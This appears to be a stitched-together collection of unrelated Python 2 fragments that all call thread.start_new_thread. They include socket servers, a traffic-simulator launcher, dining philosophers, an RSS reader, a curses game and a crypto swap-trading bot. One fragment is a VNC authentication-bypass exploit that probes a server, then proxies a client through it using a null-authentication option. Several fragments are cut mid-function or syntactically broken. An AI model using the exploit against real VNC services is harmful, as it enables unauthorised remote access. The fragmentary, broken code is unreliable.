handle, protocol=pickle.HIGHEST_PROTOCOL) def load(self, filename): with open(filename, 'rb') as handle: obj = pickle.load(handle) return obj if __name__ == "__main__": app = Brew("recipe.txt", 1, 1, 1) app.read_recipe() print "BOIL TIME " + str(app.boil_time) + " min" print "BOIL TEMP " + str(app.boil_temp) + " C" print "MASH TIME " + str(app.mash_time) + " min" print "MASH TEMP " + str(app.mash_temp) + " C" print "HOP BITTER " + str(app.hop_bitter_time) + " min" print "HOP TASTE " + str(app.hop_taste_time) + " min" print "HOP FLAV " + str(int(app.hop_flav_time)) + " min" thread.start_new_thread(app.show, ()) time.sleep(60) app.save() app.end = 1 app.heat.off() app.heat.reset()
def next_step(self): if not self.__in_thread: thread.start_new_thread(self._next_step, ())
def run_paramics(command, network, runpath, shlex, remote_port, seed, client_socket, unused_port_lock): """ Actually run Paramics. :param network: """ # create log files paramicsLogOut = open(os.path.join(runpath, 'paramics-launchd.out.log'), 'w') paramicsLogErr = open(os.path.join(runpath, 'paramics-launchd.err.log'), 'w') # start paramics paramics_start = int(time.time()) paramics_end = None paramics_returncode = -1 paramics_status = None try: cmd = [] if shlex: import shlex cmd = shlex.split(command.replace('{}', +unicode(runpath).encode())) else: cmd = [command, network, "--traci_port={}".format(remote_port)] logging.info("Starting paramics (%s) on port %d, seed %d" % (" ".join(cmd), remote_port, seed)) paramics = subprocess.Popen(cmd, cwd=runpath, stdin=None, stdout=paramicsLogOut, stderr=paramicsLogErr) paramics_socket = None connected = False tries = 1 while not connected: try: logging.debug( "Connecting to paramics (%s) on port %d (try %d)" % (" ".join(cmd), remote_port, tries)) paramics_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) paramics_socket.connect(('127.0.0.1', remote_port)) break except socket.error, e: logging.debug("Error (%s)" % e) if tries >= 10: raise time.sleep(tries * 0.25) tries += 1 unused_port_lock.release() forward_connection(client_socket, paramics_socket, paramics) client_socket.close() paramics_socket.close() logging.debug("Done with proxy mode, killing paramics") thread.start_new_thread(subprocess.Popen.wait, (paramics, )) time.sleep(0.5) if paramics.returncode == None: logging.debug("SIGTERM") os.kill(paramics.pid, signal.SIGTERM) time.sleep(0.5) if paramics.returncode == None: logging.debug("SIGKILL") os.kill(paramics.pid, signal.SIGKILL) time.sleep(1) if paramics.returncode == None: logging.debug( "Warning: paramics still not dead. Waiting 10 more seconds..." ) time.sleep(10) logging.info("Done running paramics") paramics_returncode = paramics.returncode if paramics_returncode == 0: paramics_status = "Done." elif paramics_returncode != None: paramics_status = "Exited with error code %d" % paramics_returncode else: paramics_returncode = -1 paramics_status = "Undef"
def start(self): '''Start the CcnxLoop ''' start_new_thread(self.event_loop.run, ())
class Philosopher: def __init__(self, id, fork1, fork2): self.fork1 = fork1 self.fork2 = fork2 self.id = id def start(self): while True: time.sleep(random.randint(0, 4)) if self.fork1.acquire(False): if self.fork2.acquire(False): print "Philosopher {} is eating".format(self.id) time.sleep(random.randint(0, 4)) print "Philosopher {} finished".format(self.id) self.fork1.release() self.fork2.release() else: self.fork1.release() if (__name__ == "__main__"): numOfPhil = 5 forks = [threading.Lock() for i in xrange(numOfPhil)] philos = [ Philosopher(i, forks[i], forks[(i + 1) % numOfPhil]) for i in xrange(numOfPhil) ] for phi in philos: thread.start_new_thread(phi.start, ()) time.sleep(60)
#Start listening on socket s.listen(10) print 'Socket now listening...' def clientthread(conn): conn.send("Welcome to the server \n") while True: data = conn.recv(1024) reply = 'OK...' + data print data if not data or data == "ciao\r\n": break conn.sendall(reply) #came out of loop conn.close() while 1: #wait to accept a connection - blocking call conn, addr = s.accept() thread.start_new_thread(clientthread, conn) s.close()
print "[*] Hello From Server: " + hello if hello != "RFB 003.008\n": print "[*] The remote VNC service is not vulnerable" sys.exit() else: print "[*] The remote VNC service is vulnerable" listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: listener.bind((BIND_ADDR, BIND_PORT)) except socket.error , msg: print '[*] Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1] sys.exit() print "[*] Listener Socket Bind Complete" listener.listen(10) print "[*] Launching local vncviewer" thread.start_new_thread(os.system,('vncviewer ' + BIND_ADDR + '::' + str(BIND_PORT),)) print "[*] Listener waiting for VNC connections on localhost" client, caddr = listener.accept() listener.close() client.send(hello) chello = client.recv(12) server.send(chello) methods = server.recv(2) print "[*] Auth Methods Recieved. Sending Null Authentication Option to Client" client.send("\x01\x01") client.recv(1) server.send("\x01") server.recv(4) client.send("\x00\x00\x00\x00") print "[*] Proxying data between the connections..." running = True
def play(self, arg): thread.start_new_thread(self._play, (0, self.Duration()))
"\n*********************************************************************\n", "title") guid_shown.append(newstory.get_guid()) while True: print "Polling . . .", # Get stories from Google's Top Stories RSS news feed stories = process("http://news.google.com/?output=rss") # Get stories from Yahoo's Top Stories RSS news feed stories.extend(process("http://rss.news.yahoo.com/rss/topstories")) # Process the stories stories = filter_stories(stories, trigger_list) map(get_cont, stories) scrollbar.config(command=cont.yview) print "Sleeping..." time.sleep(SLEEP_TIME) except Exception as e: print e if __name__ == '__main__': root = Tk() root.title("Some RSS parser") thread.start_new_thread(main_thread, (root, )) root.mainloop()
def main(): start_new_thread(thread_funcation,('thread1',10,3)) start_new_thread(thread_funcation,('thread2',20,3)) main_thread()
def PlaySegment(self, start, length, arg): if not self.isplaying: # otherwise this get's kinda echo-y thread.start_new_thread(self._play, (start, length))
else: arq = open('lista.txt', 'w') ts = time.time() print("ID;NºPCT;TSM;TSS\n%s;%s" % (buf, ts)) lista.append("%s;%s\n" % (buf, ts)) print(lista) arq.writelines(lista) arq.close() except: pass conn.close() thread.exit() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(('', 8085)) sock.listen(1) #CERT="48a0276e012bbb6754eb4fdaea1de5f4" #sock = socket.socket() #sock.settimeout(2) print("Servidor Funcionando!") while True: newsock, fromaddr = sock.accept() #con, cliente = tcp.accept() thread.start_new_thread(teste, tuple([newsock, fromaddr])) print("Abriu nova Thread!")
def test(x, y): print x, y global aaa while 1: aaa = sys.stdin.readline() #或用raw_input()也可的,aaa得是全局函数 aaa = aaa[:-1] #因为输入quit后aaa的值为'quit\n' 用[:-1]去掉最后一个字符 print 'aaa是', aaa if aaa == 'quit': print "10秒后退出,这里退出的是线程了,不是整个进程" time.sleep(10) sys.exit() time.sleep(1) if __name__ == "__main__": #加线程区,想加多少就加多少 thread.start_new_thread(myfunction, ("Thread No:1", 2)) thread.start_new_thread(myfunction, ("Thread No:2", 2)) thread.start_new_thread( test, ('1', '2')) #注意这里的test后的参数为序表('1','2'),只是起格式作用...用不着也得加一个序表形式的参数的 while 1: print '主线程' print '主线程aaa的值是', aaa if aaa != '任意的': for i in range(10): print i time.sleep(1) else: print '输入了(任意的),退出,这里退出的才是进程' sys.exit()
if len(sys.argv) > 2: coin_name = sys.argv[1] # 默认币种handle_deque coin = Coin(coin_name, "usdt") instrument_id = coin.get_instrument_id() future_instrument_id = coin.get_future_instrument_id() swap_instrument_id = coin.name.upper() + '-USD-SWAP' print('swap_instrument_id: ' + swap_instrument_id) file_transaction, file_deal = coin.gen_file_name() config_file = sys.argv[2] if config_file == 'config_mother': from config_mother import leverAPI, futureAPI, swapAPI # elif config_file == 'config_son1': # from config_son1 import spotAPI, okFuture, futureAPI # elif config_file == 'config_son3': # from config_son3 import spotAPI, okFuture, futureAPI else: print('输入config_file有误,请输入config_mother or config_son1 or config_son3') sys.exit() thread.start_new_thread(main_process, ()) while True: ws = websocket.WebSocketApp("wss://real.OKEx.com:8443/ws/v3?compress=true", on_message=on_message, on_error=on_error, on_close=on_close) ws.on_open = on_open ws.run_forever(ping_interval=15, ping_timeout=10) else: print('缺少参数 coin_name, config_file') print('for example: python monitor_spot etc config_mother')
bars.pop(bar_index) score += 1 else: bars[bar_index].x -= 1 for x, y in bar.draw(): c.set(x, y) f = c.frame() + '\n' stdscr.addstr(0, 0, f) stdscr.addstr(height / 4 + 1, 0, 'score: {0}'.format(score)) stdscr.refresh() c.clear() speed -= 2 position -= speed / 10 if position < 0: position = 0 speed = 0.0 elif position > height - 13: position = height - 13 speed = 0.0 sleep(1.0 / fps) if __name__ == '__main__': start_new_thread(read_keys, (stdscr, )) curses.wrapper(main) print('Final score: {0}'.format(score))
uuid = "94f39d29-7d6d-437d-973b-fba39e49d4bb" #insert('Student', ['cc', 'dd', 44, 66, '3']) advertise_service( server_sock, "SampleServer", service_id = uuid, service_classes = [ uuid, SERIAL_PORT_CLASS ], profiles = [ SERIAL_PORT_PROFILE ], # protocols = [ OBEX_UUID ] ) while True: print("Check-in server -- Waiting for connection on port ", port) client_sock, client_info = server_sock.accept() print "server port ", server_sock.getsockname()[1] thread.start_new_thread(clientsocket,(client_sock, client_info)) ''' print("Accepted connection from ", client_info) try: while True: data = client_sock.recv(1024) print data msg_client = ast.literal_eval(data) print msg_client["name"] print("received [%s]" % data); client_sock.sendall("done"); break except IOError: pass
def main_process(): while True: time.sleep(1) ts = time.time() now_time = timestamp2string(ts) if less == 0 and more == 0: direct = check_more_or_less() #横盘做多 if direct == 'more': more_id = do_swap_more() if more_id: #横盘做空 elif direct == 'less': else: continue profit_rate_list = [] more_id, less_id = do_more_and_less_same_time() while more_id and less_id: time.sleep(0.2) if more == 0: swap_order_info = swapAPI.get_order_info(swap_instrument_id, more_id) write_info_into_file('做多 order info: ' + str(swap_order_info), file_transaction) if swap_order_info['state'] == '2': more = 1 swap_more_time = int(ts) swap_more_price = float(swap_order_info['price_avg']) write_info_into_file('做多订单成交,成交信息:' + str(swap_order_info), file_transaction) thread.start_new_thread(send_email, ('合约做多, 价格:' + str(swap_more_price),)) elif swap_order_info['state'] == '-1': more = -1 if less == 0: swap_order_info = swapAPI.get_order_info(swap_instrument_id, less_id) if swap_order_info['state'] == '2': less = 1 swap_less_time = int(ts) swap_less_price = float(swap_order_info['price_avg']) write_info_into_file('做空订单成交,成交信息:' + str(swap_order_info), file_transaction) thread.start_new_thread(send_email, ('合约做空,价格:' + str(swap_less_price),)) elif swap_order_info['state'] == '-1': less = -1 if more == 1 and less == 1: write_info_into_file('多空订单均成交!做多价:' + str(swap_more_price) + ',做空价:' + str(swap_less_price), file_transaction) break elif more == -1 and less == -1: write_info_into_file('多空订单均已撤单', file_transaction) more = 0 less = 0 break # 做空单卖出,只剩做多单 elif less == 0 and more == 1: position_info = swapAPI.get_specific_position(swap_instrument_id) for pos in position_info['holding']: if pos['side'] == 'long': margin = float(pos['margin']) more_profit = float(pos['unrealized_pnl']) available = int(pos['avail_position']) profit_rate = round(more_profit / margin * 100, 2) max_profit_rate = max(max_profit_rate, profit_rate) print('最大收益率:%.2f%%, 做多收益%.4f个%s,收益率:%.2f%%' % (max_profit_rate, more_profit, coin_name.upper(), profit_rate)) if profit_rate < max_profit_rate - MAX_WITHDRAW_RATE: if stop_swap_more(available): more = 0 elif less == 1 and more == 0: position_info = swapAPI.get_specific_position(swap_instrument_id) for pos in position_info['holding']: if pos['side'] == 'short': margin = float(pos['margin']) more_profit = float(pos['unrealized_pnl']) available = int(pos['avail_position']) profit_rate = round(more_profit / margin * 100, 2) max_profit_rate = max(max_profit_rate, profit_rate) print('最大收益率:%.2f%%, 做空收益%.4f个%s,收益率:%.2f%%' % (max_profit_rate, more_profit, coin_name.upper(), profit_rate)) if profit_rate < max_profit_rate - MAX_WITHDRAW_RATE: if stop_swap_less(available): less = 0 elif less == 1 and more == 1: more_profit_rate = 0 less_profit_rate = 0 more_profit = 0 less_profit = 0 available = SWAP_SIZE position_info = swapAPI.get_specific_position(swap_instrument_id) for pos in position_info['holding']: if pos['side'] == 'long': margin = float(pos['margin']) more_profit = float(pos['unrealized_pnl']) available = int(pos['avail_position']) more_profit_rate = more_profit / margin * 100 if pos['side'] == 'short': margin = float(pos['margin']) less_profit = float(pos['unrealized_pnl']) available = int(pos['avail_position']) less_profit_rate = less_profit / margin * 100 print('做多收益%.4f个%s,收益率:%.2f%%, 做空收益%.4f个%s,收益率:%.2f%%' % (more_profit, coin_name.upper(), more_profit_rate, less_profit, coin_name.upper(), less_profit_rate)) profit_rate_list.append(max(more_profit_rate, less_profit_rate)) if len(profit_rate_list) > PROFIT_LENGTH: profit_rate_list.pop(0) avg_profit = np.mean(profit_rate_list) print(now_time + ',过去%d分钟,平均正收益率:%.2f%%' % (int(PROFIT_LENGTH / 60), avg_profit)) if more_profit_rate < STOP_LOSS_PROFIT_RATE - avg_profit: if stop_swap_more(available): max_profit_rate = less_profit_rate more = 0 print('做多止损成交,做多收益率: %.2f%%, 做空收益率:%.2f%%' % (more_profit_rate, less_profit_rate)) if less_profit_rate < STOP_LOSS_PROFIT_RATE - avg_profit: if stop_swap_less(available): max_profit_rate = more_profit_rate less = 0 print('做空止损成交,做多收益率: %.2f%%, 做空收益率:%.2f%%' % (more_profit_rate, less_profit_rate))